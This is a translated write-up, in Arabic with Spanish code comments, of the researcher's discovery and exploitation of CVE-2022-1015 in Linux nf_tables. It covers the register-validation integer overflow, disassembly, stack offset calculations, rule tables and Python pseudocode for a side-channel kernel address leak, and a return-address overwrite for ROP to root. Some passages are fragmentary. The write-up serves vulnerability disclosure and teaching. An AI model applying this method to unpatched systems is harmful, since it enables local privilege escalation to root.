
ترجمة إلى الإسبانية للثغرات CVE-2022-1015 وCVE-2022-1016 التي اكتشفها ووثّقها David.
ملف README.md هذا هو ترجمة لـمدونة ديفيد. وجد ديفيد الثغرتين 1015 و1016 من فئة CVE في نواة لينكس. يمكنك زيارة موقعه على الويب لقراءة المستند الأصلي.
إليك حساباته على وسائل التواصل الاجتماعي:
نُشر في 2 أبريل 2022.
يُفترض أن تكون هذه المشكلات قابلة للاستغلال في الإعدادات الافتراضية لأحدث إصدار من Ubuntu وRHEL. كتبتُ إثبات المفهوم (PoC) الخاص بي لـ CVE-2022-1015 مستهدفًا إصدار النواة 5.16-rc3 من Arch Linux.
هذا المستند موجّه للأشخاص الذين لديهم معرفة أساسية بنواة لينكس من حيث الوظيفة والأمان. حاولت جعل هذا المستند سهلًا للأشخاص الذين يفتقرون إلى المعرفة بمكدس الشبكات (network stack) ليكون في متناول الجميع.
إليك دليل قراءة:
في منتصف فبراير، أعلن برنامج الأمان من Google أنهم سيواصلون برنامج مكافآت kCTF، حيث يقدمون مكافآت تتراوح من 31,337 دولارًا حتى 91,337 دولارًا مقابل استغلال (exploit) في نواة لينكس يمكنه رفع الامتيازات إلى المستخدم root من عمليات بدون امتيازات داخل صندوق عزل nsjail.
باعتباري طالبًا فقيرًا، من الواضح أن هذا لفت انتباهي. كانت هذه أول مرة أبحث فيها عن ثغرة من "العالم الحقيقي"، لكنني في مغامراتي في لعب CTF مع فريقي، أصبحت على دراية بنواة لينكس من حيث الأمان. بعد ساعات وساعات مع تقدم لا يكاد يذكر (ولكن بمعرفة أكبر عن لينكس) تمكنت من العثور على بعض الثغرات في وحدة nf_tables.
للأسف، في نهاية المطاف، أدركت أن هذه الوحدة لم تكن ضمن قواعد kCTF من Google (لذا لم أحصل على أي مكافأة عن هاتين الثغرتين). لكن بوضوح، ما زلت أبلغت عنهما وكتبت استغلال LPE (رفع امتيازات محلي) لـ CVE-2022-1015.
حسنًا، لقد قررت أنك ستجد بعض الثغرات في لينكس. ماذا الآن؟ لينكس مشروع ضخم، ومن السهل جدًا ألا ترى الغابة بسبب الأشجار (تركز كثيرًا على التفاصيل لدرجة أنك تفقد رؤية ما هو مهم حقًا، ولا تملك نظرة عامة على الموقف). ولزيادة الطين بلة، العديد من الأجزاء غير موثقة وتحتاج إلى قراءة قدر كبير من الكود لفهم ما يحدث.
بدأت بمحاولة تكوين منظور مفصل لنموذج أمان لينكس. العثور على خلل (bug) شيء؛ لكن العثور على خلل جيد شيء آخر مختلف تمامًا. ففي النهاية، ليست كل الخلل (bugs) متساوية:
FS_USERNS_MOUNT، وفي هذه الحالة يمكنك تركيبها داخل user namespace.CAP_SYS_ADMIN أو CAP_NET_ADMIN.
/proc/config.gz. يمكن تحميل الوحدات (=m) أو تجميعها منفصلة وتحميلها في وقت التشغيل (=y)./proc/modules و، لكنهما ليسا موثوقين دائمًا، إذ يمكن تحميل الوحدات ديناميكيًا في النواة ( ).تساعدنا هذه القيود في معرفة حدود الأنظمة التي يمكننا البحث فيها عن الثغرات. أعتقد أنها فكرة جيدة أن تأخذ وقتك في محاولة تخطيط هجومك على الهدف الذي ترغب به.
لقد تعلمت الدرس بالفعل بشأن النقطة السابقة. كما ذكرت، لم تكن وحدة nf_tables محمّلة في المثيل الذي طرحته لنا kCTF. كان بإمكاني ملاحظة ذلك منذ البداية وأوفر على نفسي خيبة الأمل :p. من ناحية أخرى، ربما لم تكن تقرأ هذه المدونة الآن لو كنت قد انتبهت لذلك مبكرًا، أظن أن الأمور سارت على ما يرام في النهاية.
يمكن العثور على تفسير لسبب عدم احتواء COS، فرع لينكس المُحسَّن للحاويات من Google، على nf_tables هنا وهنا.
بعد تقييم النقاط المذكورة سابقًا، قررت أن أفضل طريق لي للبدء ربما يكون الاطلاع على الكود المصدري للشبكة. العديد من الوظائف المثيرة للاهتمام هناك تتطلب CAP_NET_ADMIN، لكن كما ذكرت، هذه ليست مشكلة في الواقع. على العكس، أشك في أن المكونات التي تتطلب قدرات خاصة تكون عمومًا أقل أمانًا، لأن مطوري النواة قد تكون لديهم إحساس زائف بالأمان.
كما بذلت جهدًا لاختيار النظام الذي أردت معرفة المزيد عنه؛ وبهذه الطريقة، حتى لو لم تجد أي خلل، فستتعلم مع ذلك الكثير من الأشياء المثيرة للاهتمام.
حققت في العديد من الأنظمة الفرعية للشبكة، لكنني لم أعثر على أي شيء مهم. بعد تصفح الدليل الفرعي net/، صادفت وحدة nf_tables. بدت معقدة بعض الشيء، لذا قررت أن آخذ بعض الوقت للتعرف عليها.
netfilter (net/netfilter) هو نظام فرعي شبكي كبير جدًا في النواة. باختصار، يضع netfilter خطافات (hooks) عبر وحدات الشبكة حيث يمكن للوحدات الأخرى تسجيل معالجات (handlers) لها. عند بلوغ خطاف (hook)، يُفوَّض التحكم إلى تلك المعالجات، ويمكنها التعامل مع بنية حزمة الشبكة المعنية. يمكن للمعالجات قبول الحزم أو إسقاطها أو تعديلها.
بعد ساعات قليلة من تصفح واجهة برمجة تطبيقات nf_tables (net/netfilter/nf_tables_api.c) لمعرفة طريقة عملها بدقة، قررت إلقاء نظرة على التحقق المنطقي من السجلات التي يرسلها المستخدم، ووجدت بعض السلوكيات المثيرة للريبة. بعد التفكير فيما إذا كنت أفقد صوابي أم لا، كتبت PoC صغيرًا (إثبات مفهوم) لمحاولة تشغيل الثغرة التي وجدتها: ثغرة تُعرف باسم OOB أو خارج الحدود، وتتيح القراءة والكتابة في ذاكرة المكدس (stack).
بعد إيجاد طريقة لتسريب عناوين النواة، كان التحكم في مؤشر الذاكرة أمرًا سهلاً إلى حد كبير. وبعد القليل من ROP (البرمجة الموجهة بالإرجاع)، أصبحت shell بامتيازات root حقيقة واقعة.
كلما احتاج روتين init لتعبير إلى تحليل سجل من رسالة مستخدم في netlink، يتم استدعاء روتين nft_parse_register_load أو روتين nft_parse_register_store اعتمادًا على ما إذا كان السجل مصدريًا أو وجهة. أضفت بعض التعليقات:```c
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
/* Given a netlink attribute and the length
* that is required to read the requested data,
* write a register index to `sreg` or return
* an error on failure. */
u32 reg;
int err;
reg = nft_parse_register(attr);
err = nft_validate_register_load(reg, len);
if (err < 0)
return err;
/* Write resulting index to the nft_expr.data structure. */
*sreg = reg;
return 0;
}
static unsigned int nft_parse_register(const struct nlattr attr) { / Convert a register to an index in nft_regs */
unsigned int reg;
/* Get specified register from netlink attribute */
reg = ntohl(nla_get_be32(attr));
switch (reg) {
/* If it's 0 to 4 inclusive,
* it's an OG 16-byte register and we need to
* multiply the index by 4 (4*4=16) */
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
/* Else we subtract 4, since we need to account
* for the OG registers above. */
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
/* So supplied values of 1, 2, 3, 4 map to
* OG 16-byte registers, with indices 4, 8,
* 12, 16
* Supplied values of 5, 6, 7 overlap the verdict,
* 8,9,10,11 overlap with OG register 1
* 12,13,14,15 overlap with OG register 2
* etc. */
}
static int nft_validate_register_load(enum nft_registers reg, unsigned int len) { /* We can never read from the verdict register, * so bail out if the index is 0,1,2,3 */ if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) return -EINVAL;
/* Invalid operation, bail out */
if (len == 0)
return -EINVAL;
/* If there would be an OOB access whenever
* `reg` is taken as index and `len` bytes are read,
* bail out.
* sizeof_field(struct nft_regs, data) == 0x50 */
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
return -ERANGE;
return 0;
}
البدائل `*_store` متطابقة تقريباً، باستثناء أنها تسمح بالكتابة إلى *verbdict* تحت بعض الشروط.
بعد مراجعة التحقق الأخير، هناك شيء في غير مكانه حقاً هنا:```c
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
يبدو أن هذا integer overflow، أليس كذلك؟ إذا تمكّنّا من جعل reg يحتوي على قيمة مضروبة مضروبة في 4 تُولِّد overflow عند إضافة len إليها، يمكننا استيفاء الشروط. في nft_parse_register_load، لا يزال البايت الأخير ذو القيمة من reg مكتوبًا إلى المؤشر u8 *sreg، ليقع في nft_expr الخاص بنا والذي يُستخدم لاحقًا كمؤشِّر (index).```c
*sreg = reg;
هل يمكننا حقًا؟ `reg` هو `enum nft_registers` في تحقق الروتين، على أي حال. يمكننا تمرير قيم يتراوح نطاقها بين `0x00000001` و`0xfffffffb` ضمنًا، وهو نطاق `nft_parse_register`؛ لكن هل تكون `reg` قيمة 32 بت في `nft_validate_register_load`؟ من المعروف أن المترجمات قد تصغّر *أنواع التعداد* إذا كان نوع أصغر يمكنه تمثيل جميع القيم. لنحصل على رأي ثانٍ.
مأخوذ من دليل GCC:```
The integer type compatible with each enumerated type (C90 6.5.2.2, C99 and C11 6.7.2.2).
Normally, the type is unsigned int if there are no negative values
in the enumeration, otherwise int. If -fshort-enums is specified,
then if there are negative values it is the first
of signed char, short and int that can represent all the values,
otherwise it is the first of unsigned char, unsigned short and unsigned int
that can represent all the values.
On some targets, -fshort-enums is the default; this is determined by the ABI.
باختصار؟ يعتمد الأمر على ABI ودرجة التحسين الممكنة. لم أتمكن من العثور على أي دليل ملموس حول ما إذا كان هذا الخيار مفعّلًا افتراضيًا في إصدارات لينكس.
لكن المُجمِّع لا يكذب أبدًا. دعونا نلقي نظرة:```objdump.x86asm
0000000000001b60 <nft_parse_register_load>:
1b60: e8 00 00 00 00 call 1b65 <nft_parse_register_load+0x5>
1b65: 55 push rbp
1b66: 8b 47 04 mov eax,DWORD PTR [rdi+0x4]
1b69: 0f c8 bswap eax
1b6b: 89 c7 mov edi,eax
1b6d: 8d 48 fc lea ecx,[rax-0x4]
1b70: c1 e7 04 shl edi,0x4
1b73: 48 89 e5 mov rbp,rsp
1b76: c1 ef 02 shr edi,0x2
1b79: 83 f8 04 cmp eax,0x4
1b7c: 89 f8 mov eax,edi
1b7e: 0f 47 c1 cmova eax,ecx
1b81: 85 d2 test edx,edx
1b83: 74 13 je 1b98 <nft_parse_register_load+0x38>
1b85: 83 f8 03 cmp eax,0x3
1b88: 76 0e jbe 1b98 <nft_parse_register_load+0x38>
1b8a: 8d 14 82 lea edx,[rdx+rax*4]
1b8d: 83 fa 50 cmp edx,0x50
1b90: 77 0d ja 1b9f <nft_parse_register_load+0x3f>
1b92: 88 06 mov BYTE PTR [rsi],al
1b94: 5d pop rbp
1b95: 31 c0 xor eax,eax
1b97: c3 ret
1b98: b8 ea ff ff ff mov eax,0xffffffea
1b9d: 5d pop rbp
1b9e: c3 ret
1b9f: b8 de ff ff ff mov eax,0xffffffde
1ba4: 5d pop rbp
1ba5: c3 ret
استدعاءات الدوال محاذية بشكل جيد. العمليات المهمة موجودة في `1b8a`:```objdump.x86asm
lea edx, [rdx+rax*4]
cmp edx, 0x50
ja 1b9f <nft_parse_register_load+0x3f>
mov BYTE PTR [rsi], al
rax هو نتيجة ntf_parse_register، وrdx هي len المقدَّمة، وrsi هو المؤشر sreg. لقد أزلنا الشكوك بالفعل.
nft_parse_register_store يُظهر السلوك نفسه. طالما أن السجلات تعيش على المكدس، فإن ثغرة الوصول خارج الحدود (OOB) ستكون بطبيعة الحال متعلقة بالمكدس. هذا أمر جيد، لأنه مع قليل من الحظ، سنتمكن من الكتابة فوق الذاكرة وإرجاعها مباشرة.
لإعطاء مثال على مدخل ضعيف، سجل قيمته 0xfffffffb وطول 0x20، سيُقيَّم على النحو 0xfffffffb * 4 + 0x20 = 0x0c < 0x50. بعد التحقق، ستُكتب (u8)0xfffffffb = 0xfb إلى *sreg.
لكن توجد مشكلة: هل توجد تعبيرات تسمح لنا باستخدام طول قد يسبب فيضًا عند إجراء الجمع؟ بعد قليل من البحث، وجدت أن nft_bitwise وnft_payload يسمحان لك بإدخال طولك الخاص، من 0x00 إلى 0xff. يبدو أن العديد من التعبيرات الأخرى لها أطوال ثابتة صغيرة جدًا.
في الوقت الحالي يبدو هذا واعدًا. الخطوة التالية هي أخذ هذه البدائيات الاستغلالية (exploit primitives) (القدرة العامة المكتسبة أثناء الاستغلال) واستخدامها.
إذا تمكنا من تحديد نوع القوة التي يمكن أن يمنحنا إياها الاستغلال، فسيكون استغلال هذه الثغرة أسهل. لذا، تحلَّوا معي بقليل من الصبر لأننا سنستعرض قليلًا من الحسابات.
هناك ثلاث نقاط يمكننا استخدامها من أجل الفيض في عملية ضرب السجل، لأن هذا يُضرب في 4 = 2^2: 2^32 - 1 و2^31 - 1 و2^30 - 1 (على التوالي 0xffffffff و0x7fffffff و0x3fffffff). يمكن أن تتناقص هذه القيم إلى أن نضيف أقصى طول مسموح به، وبعد ضربها في أربعة لن ينتج عن ذلك فيض. نقطة أخرى يجب أخذها في الاعتبار هي أننا لا نستطيع استخدام قيم أكبر من 0xfffffffb، كما ذُكر سابقًا.
بإعطاء طول محدد، فإن قيم البايت الأقل دلالة التي يمكن أن تسمح بحدوث فيض باستخدام هذا الطول ستشكّل نطاق مؤشرات الوصول خارج الحدود (OOB) الذي يمكننا استخدامه.
بعد كل شيء، لا يهم أي نقاط الفيض تُستخدم. خذ على سبيل المثال القيم التالية ذات LSB (البت الأقل دلالة) بقيمة 0xf0:```
0xfffffff0 * 4 = 0xffffffc0
0x7ffffff0 * 4 = 0xffffffc0
0x3ffffff0 * 4 = 0xffffffc0
من الآن فصاعدًا، سنستخدم قيم تسجيل قريبة من `0x7fffffff`.
لقد تحدثنا سابقًا عن `nft_payload` و `nft_bitwise`. بعض خصائص هذه التعبيرات هي:
* يمكن لـ `nft_payload` إجراء كتابات *OOB* فقط، بينما يمكن لـ `nft_bitwise` إجراء كتابات وقراءات *OOB*.
* يمكن لـ `nft_payload` إجراء كتابات *OOB* تصل إلى 0xff بايت من البيانات العشوائية.
* يمكن لـ `nft_bitwise` في الواقع كتابة حتى `0x40` بايت فقط من البيانات العشوائية، وقراءة `0x40` بايت فقط من البيانات الموجودة في *stack* مساحة السجل .
* يتطلب `nft_bitwise` وجود `sreg` و `dreg`، واللذين يحتاجان إلى اجتياز التحقق بنفس قيمة الطول.
* لدينا فقط `0x40` بايت من مساحة السجل، لذا نريد إما القراءة أو الكتابة من مساحة السجل، لكن لا يمكننا اجتياز التحقق بطول أكبر من `0x40`.
يمكننا استخدام قيمة طول أكبر لـ `nft_bitwise`، ولكن هذا يعني أن `sreg` و `dreg` يجب أن يكونا خارج الحدود، وهو أمر لن يكون مفيدًا جدًا لأغراضنا. لذا، سنعمل حاليًا بطول `0x40`.
مع أخذ كل هذا في الاعتبار، ما أنواع *exploits* التي يمكننا استخدامها؟
`nft_bitwise` لديه حد أقصى للطول قدره `0x40`. هذا يعني أن قيمة السجل مضروبة في أربعة يجب أن تكون على الأقل `0xffffffc0`. أكبر قيمة يمكننا الحصول عليها بضربها في أربعة هي `0xfffffffb`، وبما أن `0xfffffffb + 0x40 = 0x3b <= 0x50` فسوف يجتاز التحقق.
`0x7ffffff0 * 4 = 0xffffffc0`: الحد الأدنى هو `0xf0`.
`0x7fffffff * 4 = 0xfffffffb`: الحد الأقصى هو `0xff`.
بالترجمة إلى [*إزاحات البايت*](https://es.wikipedia.org/wiki/Offset_(inform%C3%A1tica)):```
0xc1 * 4 = 0x304
0xeb * 4 + 0xff = 0x4ab
nft_payload يمكن أن يكتب خارج الحدود عبر الإزاحات [0x304, 0x4ab] من struct nft_regs.
الآن بعد أن اتضح كل هذا، ما الذي يوجد فعليًا في المكدس (stack) عند هذه الإزاحات؟
يمكن استدعاء الروتين nft_do_chain عبر العديد من مسارات البرمجة. توجد عوامل عديدة ستغيّر شكل المكدس قبل إطار المكدس (stack frame) الخاص بـ nft_do_chain:
سواء كان chain hook (خطاف السلسلة) هو input أو output.
input، فسيتم تفعيل الخطاف (hook) في سياق softirq لجهاز الشبكة المعني مع stack (مكدس) softirq.output، فسيتم تفعيل الخطاف في سياق syscall (استدعاء النظام) send* مع stack (مكدس) syscall.البروتوكول الذي نستخدمه.
أعتقد أنه يمكنك الحصول على العديد من الاختلافات في call stacks (مكدسات الاستدعاءات) باستخدام توليفات مختلفة من البروتوكولات والواجهات ومواقع الخطافات (hooks). في الوقت الحالي سنستخدم chain hook (خطاف سلسلة) مضبوطًا على output مع حزمة UDP.

تصميم المكدس ونطاقات الخروج عن الحدود في nft_do_chain عندما تصل حزمة UDP مرسلة إلى خطاف مضبوط على output
لإنشاء استغلال (exploit) مستقر، سيتعين علينا أولاً تسريب عنوان صورة النواة (kernel).
عنوان صورة النواة يحتوي على 9 بتات من الإنتروبيا (مقياس لعدم اليقين الموجود أمام مجموعة رسائل، سيُستقبل منها واحد فقط)، مما يعني أن هناك 512 موضعًا مختلفًا يمكن تحميل النواة فيه. اعتمادًا على سيناريو هجومك، هناك احتمال 1 من 512 لنجاح الهجوم بشكل صحيح؛ لكن سيكون من الأفضل لو تمكنا من الحصول على استغلال أكثر استقرارًا من ذلك.
الخطوة الأبسط هي محاولة استخدام قدرة القراءة خارج الحدود التي وفّرتها لنا nft_bitwise لنسخ بعض بيانات المكدس إلى سجلاتنا. وبما أن المدى الكلي الذي يمكننا قراءته يبلغ طوله 0x7c بايت، فهناك احتمال جيد إلى حدٍ ما أن عنوان النواة موجود هناك.

نطاق الخروج عن الحدود لـ nft_bitwise
اليوم يومنا! يوجد اثنان:``` gef➤ x/bx 0xffffffff815b49c1 0xffffffff815b49c1 <import_iovec+49>: 0xc9 gef➤ x/bx 0xffffffff819ac3ec 0xffffffff819ac3ec <copy_msghdr_from_user+92>: 0xba
كتابة هذا إلى السجلات شيء، لكن استخراجها شيء آخر. بعد التحقيق، يبدو أنه لا توجد طريقة سهلة لقراءة السجلات مباشرة أثناء تشغيل `nft_do_chain`.
في تقريري الأصلي إلى [email protected]، أُبلغت من قِبل أحد القائمين على صيانة netfilter بتعبير `nft_dynset`، الذي يدعم [*المجموعات الديناميكية*](https://en.wikipedia.org/wiki/Dynamic_set) والتي يمكن أن تعمل كنوع من قواعد البيانات التي يمكن الكتابة إليها والقراءة منها عبر عمليات تشغيل `nft_do_chain` المختلفة. على ما يبدو، فإن `nft_payload` لديه أيضًا القدرة على الكتابة إلى الحزمة بنفسه، لم أكن أدرك ذلك.
بدلاً من ذلك، قررت المتابعة في [*هجوم القناة الجانبية*](https://es.wikipedia.org/wiki/Ataque_de_canal_lateral). بسبب طبيعة `nf_tables`، يمكنك التسبب في آثار جانبية. في الواقع، يمكنك القول إنها ليست حتى آثارًا جانبية، بل آثارًا أساسية.
من خلال إنشاء قواعد تُسقط الحزمة أو تقبلها بناءً على قيمة عنوان ذاكرة النواة الذي ننسخه، يمكننا تدريجيًا استنتاج القيمة من خلال فحص ما إذا كانت الحزم التي نرسلها قد تم استلامها أيضًا.
1. أنشئ *مقبسًا* UDP يستقبل الحزم على `127.0.0.1:9999`:
* يجب أن يستقبل الحزم في خيط مختلف.
* يجب إرسال رسالة مرة أخرى لكل حزمة يستقبلها.
2. أضف قاعدة تقوم بـ:
1. نسخ عنوان النواة إلى السجلات باستخدام `nft_bitwise`.
2. استخدام `nft_cmp_expr` لمقارنة العنوان بثابت.
3. إسقاط الحزمة إذا كانت المقارنة المُقيَّمة صحيحة.
3. أرسل حزمة UDP إلى `127.0.0.1:9999`
1. يمكننا تحديد جزء صغير من المعلومات حول عنوان النواة بناءً على ما إذا تلقينا رسالة مرة أخرى.
4. كرر الخطوتين 2 و3 بالقيم المناسبة حتى تمتلك معلومات كافية لتحديد المعلومات بمفردها.

لا تزال هناك بعض التحذيرات. على سبيل المثال، قد يتم إسقاط الحزمة التي نستقبلها دون أي إنذار مسبق. للتخفيف من ذلك، يمكننا إضافة تقليل للضوضاء، الأمر الذي يتطلب *سلسلة أساسية* و*سلسلة منتظمة مساعدة*.
*القاعدة في السلسلة الأساسية:*
| # | التعبير | الوسائط | التعليق |
| --- | -------------------- | -------------------------------------------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------- |
| 0 | `nft_payload` | base=NFT_PAYLOAD_TRANSPORT_HEADER<br/>offset=offsetof(udphdr, dport)<br/>len=sizeof_field(udphdr, dport) | كتابة منفذ الوجهة للحزمة إلى السجل 8. |
| 1 | `nft_cmp_expr` | op=NFT_CMP_EQ<br/>sreg=8<br/>data=9999 | مطابقة منفذ الوجهة مع `9999`، وإرجاع `NFT_BREAK` إذا كانت النتيجة غير متساوية. |
| 2 | `nft_payload` | base=NFT_PAYLOAD_INNER_HEADER<br/>offset=0<br/>len=8 | كتابة أول ثمانية بايتات من الحزمة إلى السجل 8. |
| 3 | `nft_cmp_expr` | op=NFT_CMP_EQ<br/>sreg=8<br/>data=0xdeadbeef0badc0de | مقارنة أول ثمانية بايتات بالقيمة السحرية، وإرجاع `NFT_BREAK` إذا لم تكن متساوية. |
| 4 | `nft_immediate_expr` | verdict=NFT_JUMP<br/>chain=aux_chain | بما أن القاعدة ما زالت قيد التقييم، يجب أن تتطابق الشروط، واستدعاء *سلسلتنا المساعدة*. |
*القاعدة في السلسلة المساعدة:*
| # | التعبير | الوسائط | التعليق |
| --- | --------------- | ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 | `nft_bitwise` | op=NFT_BITWISE_RSHIFT<br/>data=SHIFT_AMT<br/>dreg=OOB_OFFSET<br/>sreg=8 | كتابة عنوان النواة إلى السجلات باستخدام القراءة خارج الحدود، مع إزاحته بمقدار بتات `SHIFT_AMT` للحصول على البايت المطلوب من العنوان في السجل الصحيح. |
| 1 | `nft_cmp` | op=NFT_CMP_GT<br/>sreg=ADDRESS_OFFSET<br/>data=COMPARAND | مقارنة بايتات عنوان النواة مع `COMPARAND`، وإرجاع `NFT_BREAK` إذا لم تكن هذه النتيجة متساوية. |
| 2 | `nft_immediate` | verdict=NFT_DROP | إسقاط الحزمة إذا كان بايت العنوان أكبر من `COMPARAND`. |
من خلال فحص منفذ الوجهة ومقارنة أول ثمانية بايتات داخلية من *الترويسة* بقيمة سحرية، يمكننا تفعيل الآثار الجانبية للحزم التي نريدها.
من خلال تغيير `COMPARAND` ديناميكيًا يمكننا إجراء بحث ثنائي للعثور على بايت عنوان النواة في زمن `0(log(n))`. من خلال تغيير `SHIFT_AMT` ديناميكيًا إلى المضاعفات التالية للثمانية، يمكننا الانتقال إلى البايت التالي من الذاكرة والبدء من جديد.
#### 4.3.1 تصفية الكود الزائف
القليل من كود بايثون لتصفية عنوان الذاكرة. المضحك أنني كنت أستطيع بسهولة تنفيذ هذا في بايثون. تذكروا أنكم لستم مضطرين دائمًا لبناء استغلالاتكم لنواة بلغة C :p```python
'''
Asumimos que un hilo secundario está recibiendo
paquetes UDP en 127.0.0.1:9999 y todo lo relacionado
con nf_tables ya está configurado
p. ej. table, base y auxiliary chain
'''
def leak_byte(pos):
s = socket.socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
s.settimeout(200) # 200ms debería ser más que suficiente
s.bind(("127.0.0.1", 1234))
# buscar los límites
low = 0, high = 255
while True:
mid = (low + high) // 2
# si encontramos el valor, lo regresamos
if low == high:
s.close()
return mid
set_leak_rule(SHIFT_AMT=pos*8, COMPARAND=mid)
# Enviar el paquete y activar la auxiliary chain
s.sendto(pack(0xdeadbeef0badc0de), ("127.0.0.1", 9999))
# El hilo secundario regresa a 127.0.0.1:1234
res = s.recvfrom(0x2000)
if not res:
'''
nuestro paquete fue soltado
ya que no se regresó nada en los 200ms
lo que significa que
byte to leak >= mid
el byte a filtrar es mayor o igual a mid (127)
'''
low = mid
else:
'''
[sanity check o prueba de cordura]
se usa para evaluar rápidamente si
el valor a calcular es siquiera posible
https://es.wikipedia.org/wiki/Prueba_de_cordura
'''
if res != b"MSG_OK":
print("Something went wrong")
return None
'''
Nuestro paquete fue aceptado, lo que
significa que
byte to leak < mid
byte a filtrar es menor a mid (127)
'''
high = mid - 1
leak_bytes = lambda: [leak_byte(i*8) for i in range(4)]
الآن بعد أن حصلنا على التسريب (leak)، يجب أن يكون تنفيذ الكود التعسفي سهلاً للغاية. الكتابة خارج الحدود في nft_payload يجب أن تكون قادرة على كتابة هجوم RoP متسلسل على المكدس، أليس كذلك؟
لا. لم يحالفنا الحظ كثيرًا، على الأقل في هذه النواة بالذات. الكتابة خارج الحدود في nft_payload تتماشى في مجملها تقريبًا مع إطار المكدس لروتين udp_sendmsg. عنوان udp_sendmsg يقع عند الإزاحة +0x2f8 نسبةً إلى السجلات، وهذا الموضع منخفض جدًا بحيث لا يمكن الوصول إليه بواسطة nft_payload أو nft_bitwise (يمكننا البدء بالكتابة من الإزاحة +0x304، قريبون جدًا...). عنوان inet_sendmsg يقع عند الإزاحة +0x4a8. تقنيًا يمكننا الوصول إليه (وكتابة البايتات الثلاثة السفلية)، لكن هناك stack canary (تقنية تُستخدم لكشف stack buffer overflow قبل أن يتمكن تنفيذ الكود الخبيث من الحدوث) عند العنوان +0x0458 ونحتاج أيضًا إلى كتابته لتحقيق ذلك. هذا سيجعل النواة تتعطل بالطبع، لذا فإن القيام بذلك ليس خيارًا.
لقد نجحت في استخدام هذه الطريقة على بناء آخر للنواة، لكن يبدو أن محاولة فعل الشيء نفسه مع النواة التي أستخدمها لهذه المدونة ستكون أكثر صعوبة.
الآن، ربما يمكننا القيام ببعض الاختراق المصطنع لإطار المكدس للكتابة فوق المتغيرات المحلية في udp_sendmsg. يمكننا أيضًا محاولة الكتابة فوق مؤشر سلسلة الحكم باستخدام قيمة من السجلات على سبيل المثال 0x7fffff00 (أعتقد أن هذه قد تكون تقنية رائعة؛ بالنظر إلى التحدي).
لنجرّب تغيير خطاف السلسلة الأساسي الذي استخدمناه. كنا نستخدم سلسلة output، ماذا لو غيّرناها إلى input؟

مخطط نطاق الكتابة خارج الحدود في nft_do_chain إذا وصلت حزمة UDP مُرسلة إلى خطاف الإدخال (input hook)
هذا يبدو أفضل قليلاً! يمكننا الكتابة فوق عنوان الإرجاع الخاص بـإطار __netif_receive_skb_one_core (الإزاحة +0x328)، والذي يعود إلى __netif_receive_skb. نظرًا لأنه قريب نسبيًا من مستوى الكتابة خارج الحدود في nft_payload، يمكننا أن نجعل فهرسنا OOB (خارج الحدود) يشير مباشرة إلى عنوان الإرجاع هذا، متجاوزًا stack canary عند الإزاحة +0x310. الإزاحة +0x328 تترجم إلى الفهرس 0xca.
لتفعيل الكتابة فوق عنوان الإرجاع، ننشئ سلسلة input جديدة في الجدول، ونضيف إليها قاعدة تحتوي على nft_payload يكتب 0xff بايت من الترويسة الداخلية للحزمة إلى الفهرس 0xca. ثم نرسل حزمة تحتوي على الحمولة، وبووم.

🥳 🥳 🥳 🥳 🥳
/proc/kallsymsrequest_module